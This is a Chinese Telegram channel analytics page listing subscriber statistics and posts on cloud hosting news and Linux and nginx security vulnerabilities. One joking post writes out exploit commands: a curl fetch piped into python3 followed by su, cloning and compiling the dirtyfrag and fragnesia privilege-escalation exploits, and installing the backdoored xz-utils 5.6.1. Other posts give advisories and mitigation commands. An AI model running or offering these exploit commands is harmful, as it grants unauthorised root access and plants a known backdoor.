现已上线！2025 年 Telegram 研究 — 年度关键洞察 
2 875
订阅者
-124 小时
-57 天
+2130 天
数据加载中...
吸引订阅者
六月 '26
六月 '26
+39
在3个频道中
五月 '26
+96
在14个频道中
Get PRO
四月 '26
+83
在4个频道中
Get PRO
三月 '26
+156
在10个频道中
Get PRO
二月 '26
+26
在4个频道中
Get PRO
一月 '26
+59
在3个频道中
Get PRO
十二月 '25
+101
在5个频道中
Get PRO
十一月 '25
+43
在2个频道中
Get PRO
十月 '25
+50
在4个频道中
Get PRO
九月 '25
+53
在3个频道中
Get PRO
八月 '25
+100
在12个频道中
Get PRO
七月 '25
+89
在8个频道中
Get PRO
六月 '25
+99
在3个频道中
Get PRO
五月 '25
+175
在8个频道中
Get PRO
四月 '25
+158
在17个频道中
Get PRO
三月 '25
+45
在5个频道中
Get PRO
二月 '25
+50
在8个频道中
Get PRO
一月 '25
+113
在10个频道中
Get PRO
十二月 '24
+169
在9个频道中
Get PRO
十一月 '24
+259
在7个频道中
Get PRO
十月 '24
+111
在8个频道中
Get PRO
九月 '24
+271
在10个频道中
Get PRO
八月 '24
+50
在4个频道中
Get PRO
七月 '24
+124
在6个频道中
Get PRO
六月 '24
+377
在22个频道中
Get PRO
五月 '24
+384
在15个频道中
Get PRO
四月 '240
在0个频道中
Get PRO
三月 '24
+12
在0个频道中
| 日期 | 订阅者增长 | 提及 | 频道 | |
| 27 六月 | +1 | |||
| 26 六月 | +1 | |||
| 25 六月 | 0 | |||
| 24 六月 | 0 | |||
| 23 六月 | 0 | |||
| 22 六月 | 0 | |||
| 21 六月 | 0 | |||
| 20 六月 | 0 | |||
| 19 六月 | +3 | |||
| 18 六月 | 0 | |||
| 17 六月 | +4 | |||
| 16 六月 | +2 | |||
| 15 六月 | +2 | |||
| 14 六月 | 0 | |||
| 13 六月 | +1 | |||
| 12 六月 | 0 | |||
| 11 六月 | 0 | |||
| 10 六月 | +2 | |||
| 09 六月 | 0 | |||
| 08 六月 | +1 | |||
| 07 六月 | 0 | |||
| 06 六月 | +1 | |||
| 05 六月 | 0 | |||
| 04 六月 | +1 | |||
| 03 六月 | +3 | |||
| 02 六月 | +7 | |||
| 01 六月 | +10 |
频道帖子
| 2 |  按照网友在论坛发表的Oracle客户支持的回复，15号起按照新的规则计费 | 3 672 |
| 3 | 甲骨文免费ARM机器配置砍半
于6月12日更新的文档显示甲骨文云服务免费层级的ARM机型配额由原本的4C24G砍半到2C12G，尽管其他免费资源页的描述未更新，但建议已升级账号的各位提前做好资源缩容避免不必要的扣款
Available Shapes
Micro instances (AMD processor): All tenancies get up to two Always Free VM instances using the VM.Standard.E2.1.Micro shape, which has an AMD processor.
OCI Ampere A1 Compute instances (Arm processor): All tenancies get the first 1,500 OCPU hours and 9,000 GB hours per month for free for VM instances using the VM.Standard.A1.Flex shape, which has an Arm processor. For Always Free tenancies, this is equivalent to 2 OCPUs and 12 GB of memory.
参考文档：https://docs.oracle.com/en-us/iaas/Content/FreeTier/freetier_topic-Always_Free_Resources.htm | 2 376 |
| 4 |  没有文字... | 2 618 |
| 5 | 这波搞不好是人家评估赚不到钱直接把业务线砍了 /摊手 | 2 710 |
| 6 |  +1Claw到底是不是阿里呢，好难猜啊 | 3 806 |
| 7 | #鸡讯 ClawCloud宣布自2026年6月30日起正式关闭VPS及相关托管业务
https://claw.cloud/announcements/38?language=chinese-simplified
请尽快迁移数据并申请退款 | 1 668 |
| 8 |  没有文字... | 2 898 |
| 9 | 黄片哥太多了，评论区暂时移除 | 3 455 |
| 10 | 1. Linux 找回密码教程，建议收藏！
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码
2. 你的 Linux 密码又忘了？
没关系，这里还有一个新的！
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
3. 不想再忘记密码了？
我们有专业的黑客团队帮您运维服务器和保管密码！
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh
4. 容易忘记密码的有福了，每天都有新办法！
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可
5. 什么，你买不起高端网卡？那试试这个吧！
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！
https://depthfirst.com/nginx-rift | 3 309 |
| 11 | Nginx 被发现一个存在18年的内存损坏漏洞，可导致远程代码执行，利用门槛低
漏洞存在于每个通用发行版都会包含的rewrite模块 ngx_http_rewrite_module ，影响开原版本Nginx 0.6.27至最近的1.30.0版本，在计算目标缓冲区大小时，使用的是原始字节长度，但在实际写入时，却进行了 URL 转义（ + , % , & 等字符会扩展为 3 倍长度），溢出长度可控导致堆喷射
建议用户尽快更新至 1.30.1 / 1.31.0 版本
Ref: https://depthfirst.com/nginx-rift | 11 481 |
| 12 | Dirty Frag: Universal Linux LPE
和 Copy Fail 类似，绝大多数发行版可一键提权
禁用 esp4、esp6、rxrpc 可以缓解
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"
https://dirtyfrag.io/
https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
exp: https://github.com/V4bel/dirtyfrag/blob/master/exp.c | 2 878 |
| 13 | 请各位订户立即更新所有 Linux 设备的安全补丁、系统内核：
这次爆出的 Copy Fail (CVE-2026-31431) 是一个 非常严重 的极高危 Linux 内核恶性提权漏洞, 影响 2017 年发布以来几乎所有 Linux 发行版
刚好和同为恶性提权漏洞 Dirty COW (脏牛, CVE-2016-5195) 在影响面上直接续上了: 2007—2016 的发行版本可以用 CVE-2016-5195, 2017-2027 可以用 CVE-2026-31431
这个漏洞甚至比脏牛的利用门槛还更低、利用成功率更高，后者需要利用 Linux 内存子系统中的条件竞争特性，有时候利用时还会出现 Kernel Panic, 而前者的 PoC 成功率几乎就是 100%
时间线:
此漏洞最初由 Xint 研究员于 2026-03-23 发现，修复补丁已于 04-01 合并入 Linux 内核 mainline, 而漏洞的 PoC 已按流程于今日 (04-30) 公开。
由于 SSH/OpenSSL 等安全基建库几乎都在使用自行维护的用户态加密库, 所以 AF_ALG 可以直接禁用, 临时缓解措施 (仅供参考):
rmmod algif_aead 2>/dev/null || true
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
src: Xint (PoC & 技术报告) | Linux Kernel - Patch | cve.org | Ubuntu | Debian
from HAT's Public Channel | | 0 |
| 14 |  DeepSeek V4文档已更新 | 0 |
| 15 |  果然是不懂的，卧槽…… | 0 |
| 16 | https://fixupx.com/cuimao/status/2045808903733367097 | 0 |
| 17 |  没有文字... | 0 |
| 18 | 白花花的CUG都散给了普通用户，作孽！ （bushi | 0 |
| 19 | 转瞬即逝（悲 | 0 |
| 20 | 腾讯云日本/韩国已接入CUG和CMI
只有电信受伤的世界达成了 | 0 |
